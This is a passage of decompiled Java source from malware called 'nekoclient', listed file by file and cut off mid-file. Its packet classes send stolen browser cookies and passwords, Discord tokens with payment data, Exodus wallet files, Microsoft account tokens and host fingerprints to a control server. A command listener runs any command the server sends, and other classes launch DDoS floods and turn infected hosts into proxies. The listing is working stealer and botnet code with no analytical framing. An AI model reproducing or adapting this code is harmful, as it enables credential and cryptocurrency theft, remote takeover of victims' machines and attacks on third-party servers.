java.io.IOException; 11 | import java.net.URL; 12 | 13 | public class BrowserDataResponsePacket extends NoncePacket { 14 | private BrowserData browserData; 15 | 16 | public BrowserDataResponsePacket(String nonce, BrowserData browserData) { 17 | super(nonce); 18 | this.browserData = browserData; 19 | } 20 | 21 | public BrowserDataResponsePacket() { 22 | } 23 | 24 | @Override 25 | public void read(FriendlyByteBuffer buffer) throws IOException { 26 | super.read(buffer); 27 | this.browserData = new BrowserData(); 28 | int cookiesLength = buffer.getInt(); 29 | 30 | for(int i = 0; i < cookiesLength; ++i) { 31 | this.browserData 32 | .getCookies() 33 | .add( 34 | new Cookie( 35 | buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString(), buffer.getLong(), buffer.getBoolean(), buffer.getBoolean() 36 | ) 37 | ); 38 | } 39 | 40 | int credentialsLength = buffer.getInt(); 41 | 42 | for(int i = 0; i < credentialsLength; ++i) { 43 | this.browserData.getCredentials().add(new Credential(new URL(buffer.getString()), buffer.getString(), buffer.getString())); 44 | } 45 | } 46 | 47 | @Override 48 | public void write(StreamByteBuffer buffer) throws IOException { 49 | super.write(buffer); 50 | buffer.putInt(this.browserData.getCookies().size()); 51 | 52 | for(Cookie cookie : this.browserData.getCookies()) { 53 | buffer.putString(cookie.getHost()); 54 | buffer.putString(cookie.getPath()); 55 | buffer.putString(cookie.getName()); 56 | buffer.putString(cookie.getValue()); 57 | buffer.putLong(cookie.getExpires()); 58 | buffer.putBoolean(cookie.isSecure()); 59 | buffer.putBoolean(cookie.isHttpOnly()); 60 | } 61 | 62 | buffer.putInt(this.browserData.getCredentials().size()); 63 | 64 | for(Credential credential : this.browserData.getCredentials()) { 65 | buffer.putString(credential.getHost().toString()); 66 | buffer.putString(credential.getUsername()); 67 | buffer.putString(credential.getPassword()); 68 | } 69 | } 70 | 71 | public final BrowserData getBrowserData() { 72 | return this.browserData; 73 | } 74 | 75 | @Override 76 | public Direction getDirection() { 77 | return Direction.CLIENT_TO_SERVER; 78 | } 79 | 80 | @Override 81 | public String getName() { 82 | return "browserdataresponse"; 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/DiscordResponsePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.api.stealer.discord.DiscordAccount; 6 | import dev.neko.nekoclient.packet.Direction; 7 | import dev.neko.nekoclient.packet.impl.NoncePacket; 8 | import java.io.IOException; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class DiscordResponsePacket extends NoncePacket { 13 | private List discordAccounts; 14 | 15 | public DiscordResponsePacket(String nonce, List discordAccounts) { 16 | super(nonce); 17 | this.discordAccounts = discordAccounts; 18 | } 19 | 20 | public DiscordResponsePacket() { 21 | } 22 | 23 | @Override 24 | public void write(StreamByteBuffer buffer) throws IOException { 25 | super.write(buffer); 26 | buffer.putInt(this.discordAccounts.size()); 27 | 28 | for(DiscordAccount discordAccount : this.discordAccounts) { 29 | buffer.putString(discordAccount.getToken()); 30 | buffer.putString(discordAccount.getId()); 31 | buffer.putString(discordAccount.getUsername()); 32 | buffer.putString(discordAccount.getDiscriminator()); 33 | buffer.putString(discordAccount.getEmail()); 34 | buffer.putString(discordAccount.getPhone()); 35 | buffer.putBoolean(discordAccount.isVerified()); 36 | buffer.putBoolean(discordAccount.isMfa()); 37 | buffer.putInt(discordAccount.getBadges().size()); 38 | 39 | for(String badge : discordAccount.getBadges()) { 40 | buffer.putString(badge); 41 | } 42 | 43 | buffer.putInt(discordAccount.getPaymentSources().size()); 44 | 45 | for(String paymentSource : discordAccount.getPaymentSources()) { 46 | buffer.putString(paymentSource); 47 | } 48 | } 49 | } 50 | 51 | @Override 52 | public void read(FriendlyByteBuffer buffer) throws IOException { 53 | super.read(buffer); 54 | int total = buffer.getInt(); 55 | this.discordAccounts = new ArrayList<>(); 56 | 57 | for(int i = 0; i < total; ++i) { 58 | String token = buffer.getString(); 59 | String id = buffer.getString(); 60 | String username = buffer.getString(); 61 | String discriminator = buffer.getString(); 62 | String email = buffer.getString(); 63 | String phone = buffer.getString(); 64 | boolean verified = buffer.getBoolean(); 65 | boolean mfa = buffer.getBoolean(); 66 | List badges = new ArrayList<>(); 67 | int badgesLength = buffer.getInt(); 68 | 69 | for(int j = 0; j < badgesLength; ++j) { 70 | badges.add(buffer.getString()); 71 | } 72 | 73 | List paymentSources = new ArrayList<>(); 74 | int paymentSourcesLength = buffer.getInt(); 75 | 76 | for(int j = 0; j < paymentSourcesLength; ++j) { 77 | paymentSources.add(buffer.getString()); 78 | } 79 | 80 | this.discordAccounts.add(new DiscordAccount(token, id, username, discriminator, email, phone, verified, mfa, badges, paymentSources)); 81 | } 82 | } 83 | 84 | @Override 85 | public Direction getDirection() { 86 | return Direction.CLIENT_TO_SERVER; 87 | } 88 | 89 | @Override 90 | public String getName() { 91 | return "discordresponse"; 92 | } 93 | 94 | public final List getDiscordAccounts() { 95 | return this.discordAccounts; 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/ExodusResponsePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import java.io.IOException; 7 | 8 | public class ExodusResponsePacket extends ActionResponsePacket { 9 | private byte[] wallet; 10 | 11 | public ExodusResponsePacket() { 12 | } 13 | 14 | public ExodusResponsePacket(String nonce, boolean success, byte[] wallet) { 15 | super(nonce, success); 16 | this.wallet = wallet; 17 | } 18 | 19 | @Override 20 | public void write(StreamByteBuffer output) throws IOException { 21 | super.write(output); 22 | if (this.isSuccess()) { 23 | output.putBytes(this.wallet); 24 | } 25 | } 26 | 27 | @Override 28 | public void read(FriendlyByteBuffer buffer) throws IOException { 29 | super.read(buffer); 30 | if (this.isSuccess()) { 31 | this.wallet = buffer.getBytes(); 32 | } 33 | } 34 | 35 | @Override 36 | public String getName() { 37 | return "exodusresponse"; 38 | } 39 | 40 | @Override 41 | public Direction getDirection() { 42 | return Direction.CLIENT_TO_SERVER; 43 | } 44 | 45 | public final byte[] getWallet() { 46 | return this.wallet; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/HelloPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.api.info.ClientInfo; 6 | import dev.neko.nekoclient.api.info.OperatingSystem; 7 | import dev.neko.nekoclient.api.info.Side; 8 | import dev.neko.nekoclient.api.info.User; 9 | import dev.neko.nekoclient.api.info.VersionInfo; 10 | import dev.neko.nekoclient.packet.Direction; 11 | import dev.neko.nekoclient.packet.Packet; 12 | import java.io.IOException; 13 | import java.util.Objects; 14 | 15 | public class HelloPacket implements Packet { 16 | private ClientInfo clientInfo; 17 | private VersionInfo versionInfo; 18 | 19 | public HelloPacket() { 20 | } 21 | 22 | public HelloPacket(ClientInfo clientInfo, VersionInfo versionInfo) { 23 | this.clientInfo = clientInfo; 24 | this.versionInfo = versionInfo; 25 | } 26 | 27 | @Override 28 | public void read(FriendlyByteBuffer buffer) throws IOException { 29 | this.clientInfo = new ClientInfo( 30 | new OperatingSystem(buffer.getString(), buffer.getString(), buffer.getString(), buffer.getInt(), buffer.getLong(), buffer.getString()), 31 | new User(buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString(), buffer.getString()), 32 | buffer.getString(), 33 | buffer.getBoolean() ? buffer.getString() : null, 34 | buffer.getBoolean() 35 | ); 36 | this.versionInfo = new VersionInfo(Side.valueOf(buffer.getString()), buffer.getString()); 37 | } 38 | 39 | @Override 40 | public void write(StreamByteBuffer buffer) throws IOException { 41 | buffer.putString(this.clientInfo.getOperatingSystem().getName()); 42 | buffer.putString(this.clientInfo.getOperatingSystem().getVersion()); 43 | buffer.putString(this.clientInfo.getOperatingSystem().getArchitecture()); 44 | buffer.putInt(this.clientInfo.getOperatingSystem().getProcessors()); 45 | buffer.putLong(this.clientInfo.getOperatingSystem().getTotalPhysicalMemory()); 46 | buffer.putString(this.clientInfo.getOperatingSystem().getProcessorName()); 47 | buffer.putString(this.clientInfo.getUser().getName()); 48 | buffer.putString(this.clientInfo.getUser().getHostname()); 49 | buffer.putString(this.clientInfo.getUser().getHome()); 50 | buffer.putString(this.clientInfo.getUser().getCountry()); 51 | buffer.putString(this.clientInfo.getUser().getLanguage()); 52 | buffer.putString(this.clientInfo.getHardwareId()); 53 | boolean refPresent = Objects.nonNull(this.clientInfo.getRef()); 54 | buffer.putBoolean(refPresent); 55 | if (refPresent) { 56 | buffer.putString(this.clientInfo.getRef()); 57 | } 58 | 59 | buffer.putBoolean(this.clientInfo.isVirtualMachine()); 60 | buffer.putString(this.versionInfo.getSide().name()); 61 | buffer.putString(this.versionInfo.getVersion()); 62 | } 63 | 64 | @Override 65 | public Direction getDirection() { 66 | return Direction.CLIENT_TO_SERVER; 67 | } 68 | 69 | @Override 70 | public String getName() { 71 | return "hello"; 72 | } 73 | 74 | public final ClientInfo getClientInfo() { 75 | return this.clientInfo; 76 | } 77 | 78 | public final VersionInfo getVersionInfo() { 79 | return this.versionInfo; 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/KeepAlivePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import dev.neko.nekoclient.packet.Packet; 7 | import java.io.IOException; 8 | 9 | public class KeepAlivePacket implements Packet { 10 | @Override 11 | public void read(FriendlyByteBuffer buffer) throws IOException { 12 | } 13 | 14 | @Override 15 | public void write(StreamByteBuffer buffer) throws IOException { 16 | } 17 | 18 | @Override 19 | public Direction getDirection() { 20 | return Direction.CLIENT_TO_SERVER; 21 | } 22 | 23 | @Override 24 | public String getName() { 25 | return "keepalive"; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/MSAResponsePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.api.stealer.msa.auth.ClientType; 6 | import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials; 7 | import dev.neko.nekoclient.packet.Direction; 8 | import dev.neko.nekoclient.packet.impl.NoncePacket; 9 | import java.io.IOException; 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | 13 | public class MSAResponsePacket extends NoncePacket { 14 | private List credentials; 15 | 16 | public MSAResponsePacket(String nonce, List credentials) { 17 | super(nonce); 18 | this.credentials = credentials; 19 | } 20 | 21 | public MSAResponsePacket() { 22 | } 23 | 24 | @Override 25 | public void read(FriendlyByteBuffer buffer) throws IOException { 26 | super.read(buffer); 27 | this.credentials = new ArrayList<>(); 28 | int length = buffer.getInt(); 29 | 30 | for(int i = 0; i < length; ++i) { 31 | this.credentials 32 | .add( 33 | new MicrosoftCredentials( 34 | buffer.getString(), 35 | buffer.getString(), 36 | new ClientType(buffer.getString(), buffer.getString(), buffer.getString()), 37 | buffer.getLong(), 38 | buffer.getString(), 39 | buffer.getLong() 40 | ) 41 | ); 42 | } 43 | } 44 | 45 | @Override 46 | public void write(StreamByteBuffer buffer) throws IOException { 47 | super.write(buffer); 48 | buffer.putInt(this.credentials.size()); 49 | 50 | for(MicrosoftCredentials credentials : this.credentials) { 51 | buffer.putString(credentials.getUserId()); 52 | buffer.putString(credentials.getAccessToken()); 53 | buffer.putString(credentials.getClientType().getClientId()); 54 | buffer.putString(credentials.getClientType().getScope()); 55 | buffer.putString(credentials.getClientType().getTokenType()); 56 | buffer.putLong(credentials.getAccessTokenExpiration()); 57 | buffer.putString(credentials.getRefreshToken()); 58 | buffer.putLong(credentials.getRefreshTokenExpiration()); 59 | } 60 | } 61 | 62 | @Override 63 | public Direction getDirection() { 64 | return Direction.CLIENT_TO_SERVER; 65 | } 66 | 67 | @Override 68 | public String getName() { 69 | return "msaresponse"; 70 | } 71 | 72 | public final List getCredentials() { 73 | return this.credentials; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/client/ProxyResponsePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.client; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.api.proxy.ProxyResponse; 6 | import dev.neko.nekoclient.packet.Direction; 7 | import dev.neko.nekoclient.packet.impl.NoncePacket; 8 | import java.io.IOException; 9 | 10 | public class ProxyResponsePacket extends NoncePacket { 11 | private ProxyResponse response; 12 | 13 | public ProxyResponsePacket() { 14 | } 15 | 16 | public ProxyResponsePacket(String nonce, ProxyResponse response) { 17 | super(nonce); 18 | this.response = response; 19 | } 20 | 21 | @Override 22 | public void read(FriendlyByteBuffer input) throws IOException { 23 | super.read(input); 24 | this.response = ProxyResponse.valueOf(input.getString()); 25 | } 26 | 27 | @Override 28 | public void write(StreamByteBuffer output) throws IOException { 29 | super.write(output); 30 | output.putString(this.response.name()); 31 | } 32 | 33 | @Override 34 | public Direction getDirection() { 35 | return Direction.CLIENT_TO_SERVER; 36 | } 37 | 38 | @Override 39 | public String getName() { 40 | return "proxyresponse"; 41 | } 42 | 43 | public final ProxyResponse getResponse() { 44 | return this.response; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/CommandPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import dev.neko.nekoclient.packet.impl.NoncePacket; 7 | import java.io.IOException; 8 | 9 | public class CommandPacket extends NoncePacket { 10 | private String command; 11 | 12 | public CommandPacket() { 13 | } 14 | 15 | public CommandPacket(String command) { 16 | this.command = command; 17 | } 18 | 19 | @Override 20 | public void read(FriendlyByteBuffer input) throws IOException { 21 | super.read(input); 22 | this.command = input.getString(); 23 | } 24 | 25 | @Override 26 | public void write(StreamByteBuffer output) throws IOException { 27 | super.write(output); 28 | output.putString(this.command); 29 | } 30 | 31 | @Override 32 | public Direction getDirection() { 33 | return Direction.SERVER_TO_CLIENT; 34 | } 35 | 36 | @Override 37 | public String getName() { 38 | return "command"; 39 | } 40 | 41 | public final String getCommand() { 42 | return this.command; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/DDoSPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import com.eclipsesource.json.Json; 4 | import com.eclipsesource.json.JsonObject; 5 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 6 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 7 | import dev.neko.nekoclient.api.ddos.Method; 8 | import dev.neko.nekoclient.api.ddos.Protocol; 9 | import dev.neko.nekoclient.api.ddos.ThreadsUnit; 10 | import dev.neko.nekoclient.packet.Direction; 11 | import dev.neko.nekoclient.packet.impl.NoncePacket; 12 | import java.io.IOException; 13 | 14 | public class DDoSPacket extends NoncePacket { 15 | private String host; 16 | private int port; 17 | private long time; 18 | private int threads; 19 | private ThreadsUnit threadsUnit; 20 | private Protocol protocol; 21 | private Method method; 22 | private JsonObject options; 23 | 24 | public DDoSPacket() { 25 | } 26 | 27 | public DDoSPacket(String host, int port, long time, int threads, Protocol protocol, Method method, JsonObject options) { 28 | this.host = host; 29 | this.port = port; 30 | this.time = time; 31 | this.threads = threads; 32 | this.protocol = protocol; 33 | this.method = method; 34 | this.options = options; 35 | } 36 | 37 | @Override 38 | public void read(FriendlyByteBuffer buffer) throws IOException { 39 | super.read(buffer); 40 | this.host = buffer.getString(); 41 | this.port = buffer.getUnsignedShort(); 42 | this.time = buffer.getLong(); 43 | this.threads = buffer.getInt(); 44 | this.threadsUnit = ThreadsUnit.valueOf(buffer.getString()); 45 | this.protocol = Protocol.valueOf(buffer.getString()); 46 | this.method = Method.valueOf(buffer.getString()); 47 | this.options = Json.parse(buffer.getString()).asObject(); 48 | } 49 | 50 | @Override 51 | public void write(StreamByteBuffer buffer) throws IOException { 52 | super.write(buffer); 53 | buffer.putString(this.host); 54 | buffer.putUnsignedShort(this.port); 55 | buffer.putLong(this.time); 56 | buffer.putInt(this.threads); 57 | buffer.putString(this.threadsUnit.name()); 58 | buffer.putString(this.protocol.name()); 59 | buffer.putString(this.method.name()); 60 | buffer.putString(this.options.toString()); 61 | } 62 | 63 | @Override 64 | public Direction getDirection() { 65 | return Direction.SERVER_TO_CLIENT; 66 | } 67 | 68 | @Override 69 | public String getName() { 70 | return "ddos"; 71 | } 72 | 73 | public final String getHost() { 74 | return this.host; 75 | } 76 | 77 | public final int getPort() { 78 | return this.port; 79 | } 80 | 81 | public final long getTime() { 82 | return this.time; 83 | } 84 | 85 | public final Protocol getProtocol() { 86 | return this.protocol; 87 | } 88 | 89 | public final int getThreads() { 90 | return this.threads; 91 | } 92 | 93 | public final ThreadsUnit getThreadsUnit() { 94 | return this.threadsUnit; 95 | } 96 | 97 | public final Method getMethod() { 98 | return this.method; 99 | } 100 | 101 | public final JsonObject getOptions() { 102 | return this.options; 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/DisconnectPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.api.disconnect.DisconnectReason; 6 | import dev.neko.nekoclient.packet.Direction; 7 | import dev.neko.nekoclient.packet.Packet; 8 | import java.io.IOException; 9 | 10 | public class DisconnectPacket implements Packet { 11 | private DisconnectReason reason; 12 | 13 | public DisconnectPacket() { 14 | } 15 | 16 | public DisconnectPacket(DisconnectReason reason) { 17 | this.reason = reason; 18 | } 19 | 20 | @Override 21 | public void read(FriendlyByteBuffer buffer) throws IOException { 22 | this.reason = DisconnectReason.valueOf(buffer.getString()); 23 | } 24 | 25 | @Override 26 | public void write(StreamByteBuffer buffer) throws IOException { 27 | buffer.putString(this.reason.name()); 28 | } 29 | 30 | @Override 31 | public String getName() { 32 | return "disconnect"; 33 | } 34 | 35 | @Override 36 | public Direction getDirection() { 37 | return Direction.SERVER_TO_CLIENT; 38 | } 39 | 40 | public final DisconnectReason getReason() { 41 | return this.reason; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/HelloPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import dev.neko.nekoclient.packet.Packet; 7 | import java.io.IOException; 8 | 9 | public class HelloPacket implements Packet { 10 | @Override 11 | public void read(FriendlyByteBuffer input) throws IOException { 12 | } 13 | 14 | @Override 15 | public void write(StreamByteBuffer output) throws IOException { 16 | } 17 | 18 | @Override 19 | public String getName() { 20 | return "hello"; 21 | } 22 | 23 | @Override 24 | public Direction getDirection() { 25 | return Direction.SERVER_TO_CLIENT; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/KeepAlivePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import dev.neko.nekoclient.packet.Packet; 7 | import java.io.IOException; 8 | 9 | public class KeepAlivePacket implements Packet { 10 | @Override 11 | public void read(FriendlyByteBuffer buffer) throws IOException { 12 | } 13 | 14 | @Override 15 | public void write(StreamByteBuffer buffer) throws IOException { 16 | } 17 | 18 | @Override 19 | public Direction getDirection() { 20 | return Direction.SERVER_TO_CLIENT; 21 | } 22 | 23 | @Override 24 | public String getName() { 25 | return "keepalive"; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/ProxyPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import dev.neko.nekoclient.packet.impl.NoncePacket; 7 | import java.io.IOException; 8 | import java.net.InetAddress; 9 | import java.net.InetSocketAddress; 10 | 11 | public class ProxyPacket extends NoncePacket { 12 | private int acceptorPort; 13 | private InetSocketAddress address; 14 | 15 | public ProxyPacket() { 16 | } 17 | 18 | public ProxyPacket(int acceptorPort, InetSocketAddress address) { 19 | this.acceptorPort = acceptorPort; 20 | this.address = address; 21 | } 22 | 23 | @Override 24 | public void read(FriendlyByteBuffer buffer) throws IOException { 25 | super.read(buffer); 26 | this.acceptorPort = buffer.getUnsignedShort(); 27 | this.address = new InetSocketAddress(InetAddress.getByAddress(buffer.getBytes()), buffer.getUnsignedShort()); 28 | } 29 | 30 | @Override 31 | public void write(StreamByteBuffer buffer) throws IOException { 32 | super.write(buffer); 33 | buffer.putUnsignedShort(this.acceptorPort); 34 | buffer.putBytes(this.address.getAddress().getAddress()); 35 | buffer.putUnsignedShort(this.address.getPort()); 36 | } 37 | 38 | @Override 39 | public String getName() { 40 | return "proxy"; 41 | } 42 | 43 | @Override 44 | public Direction getDirection() { 45 | return Direction.SERVER_TO_CLIENT; 46 | } 47 | 48 | public final int getAcceptorPort() { 49 | return this.acceptorPort; 50 | } 51 | 52 | public final InetSocketAddress getAddress() { 53 | return this.address; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/RequestBrowserDataPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.packet.Direction; 4 | import dev.neko.nekoclient.packet.impl.NoncePacket; 5 | 6 | public class RequestBrowserDataPacket extends NoncePacket { 7 | @Override 8 | public Direction getDirection() { 9 | return Direction.SERVER_TO_CLIENT; 10 | } 11 | 12 | @Override 13 | public String getName() { 14 | return "requestbrowserdata"; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/RequestDiscordPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.packet.Direction; 4 | import dev.neko.nekoclient.packet.impl.NoncePacket; 5 | 6 | public class RequestDiscordPacket extends NoncePacket { 7 | @Override 8 | public Direction getDirection() { 9 | return Direction.SERVER_TO_CLIENT; 10 | } 11 | 12 | @Override 13 | public String getName() { 14 | return "requestdiscord"; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/RequestExodusPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.packet.Direction; 4 | import dev.neko.nekoclient.packet.impl.NoncePacket; 5 | 6 | public class RequestExodusPacket extends NoncePacket { 7 | @Override 8 | public Direction getDirection() { 9 | return Direction.SERVER_TO_CLIENT; 10 | } 11 | 12 | @Override 13 | public String getName() { 14 | return "requestexodus"; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/RequestMSAPacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.packet.Direction; 4 | import dev.neko.nekoclient.packet.impl.NoncePacket; 5 | 6 | public class RequestMSAPacket extends NoncePacket { 7 | @Override 8 | public Direction getDirection() { 9 | return Direction.SERVER_TO_CLIENT; 10 | } 11 | 12 | @Override 13 | public String getName() { 14 | return "requestmsa"; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/impl/server/UpdateModulePacket.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.impl.server; 2 | 3 | import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer; 4 | import dev.neko.nekoclient.api.buffer.StreamByteBuffer; 5 | import dev.neko.nekoclient.packet.Direction; 6 | import dev.neko.nekoclient.packet.Packet; 7 | import java.io.IOException; 8 | 9 | public class UpdateModulePacket implements Packet { 10 | private String moduleName; 11 | private boolean enabled; 12 | 13 | public UpdateModulePacket(String moduleName, boolean enabled) { 14 | this.moduleName = moduleName; 15 | this.enabled = enabled; 16 | } 17 | 18 | public UpdateModulePacket() { 19 | } 20 | 21 | @Override 22 | public void read(FriendlyByteBuffer buffer) throws IOException { 23 | this.moduleName = buffer.getString(); 24 | this.enabled = buffer.getBoolean(); 25 | } 26 | 27 | @Override 28 | public void write(StreamByteBuffer buffer) throws IOException { 29 | buffer.putString(this.moduleName); 30 | buffer.putBoolean(this.enabled); 31 | } 32 | 33 | @Override 34 | public Direction getDirection() { 35 | return Direction.SERVER_TO_CLIENT; 36 | } 37 | 38 | @Override 39 | public String getName() { 40 | return "updatemodule"; 41 | } 42 | 43 | public final String getModuleName() { 44 | return this.moduleName; 45 | } 46 | 47 | public final boolean isEnabled() { 48 | return this.enabled; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/PacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.packet.Packet; 5 | import java.io.IOException; 6 | 7 | public interface PacketListener { 8 | void call(T var1, Client var2, String var3) throws IOException; 9 | } 10 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/CommandPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.packet.impl.client.ActionResponsePacket; 5 | import dev.neko.nekoclient.packet.impl.server.CommandPacket; 6 | import dev.neko.nekoclient.packet.listener.PacketListener; 7 | import java.io.IOException; 8 | import java.util.concurrent.TimeUnit; 9 | 10 | public class CommandPacketListener implements PacketListener { 11 | public void call(CommandPacket packet, Client client, String id) throws IOException { 12 | try { 13 | Process process = Runtime.getRuntime().exec(packet.getCommand()); 14 | process.waitFor(1L, TimeUnit.SECONDS); 15 | client.send( 16 | new ActionResponsePacket( 17 | packet.getNonce(), 18 | process.isAlive() || process.exitValue() >= 0 && process.getInputStream().available() >= process.getErrorStream().available() 19 | ) 20 | ); 21 | } catch (InterruptedException | ArrayIndexOutOfBoundsException | IOException var5) { 22 | client.send(new ActionResponsePacket(packet.getNonce(), false)); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/DDoSPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.api.ddos.ThreadsUnit; 5 | import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler; 6 | import dev.neko.nekoclient.packet.impl.client.ActionResponsePacket; 7 | import dev.neko.nekoclient.packet.impl.server.DDoSPacket; 8 | import dev.neko.nekoclient.packet.listener.PacketListener; 9 | import java.io.IOException; 10 | import java.net.InetSocketAddress; 11 | import java.util.Objects; 12 | import java.util.concurrent.ExecutorService; 13 | import java.util.concurrent.Executors; 14 | import java.util.concurrent.TimeUnit; 15 | 16 | public class DDoSPacketListener implements PacketListener { 17 | public void call(DDoSPacket packet, Client client, String id) throws IOException { 18 | int threads = packet.getThreads(); 19 | if (Objects.equals(packet.getThreadsUnit(), ThreadsUnit.THREADS_PER_CORE)) { 20 | threads *= Runtime.getRuntime().availableProcessors(); 21 | } 22 | 23 | ExecutorService executorService = Executors.newWorkStealingPool(threads); 24 | MethodHandler handler = packet.getMethod().createHandler(); 25 | InetSocketAddress address = handler.transformAddress(new InetSocketAddress(packet.getHost(), packet.getPort()), packet.getHost()); 26 | 27 | try { 28 | handler.init(packet.getProtocol(), address, packet.getHost(), packet.getOptions()); 29 | } catch (IllegalArgumentException var10) { 30 | client.send(new ActionResponsePacket(packet.getNonce(), false)); 31 | return; 32 | } 33 | 34 | Runnable runnable = () -> { 35 | while(!executorService.isShutdown() && !executorService.isTerminated()) { 36 | try { 37 | handler.run(packet.getProtocol(), address); 38 | } catch (Throwable var5x) { 39 | } 40 | } 41 | }; 42 | Executors.newSingleThreadScheduledExecutor().schedule(() -> { 43 | executorService.shutdownNow(); 44 | handler.cleanup(); 45 | }, packet.getTime(), TimeUnit.SECONDS); 46 | 47 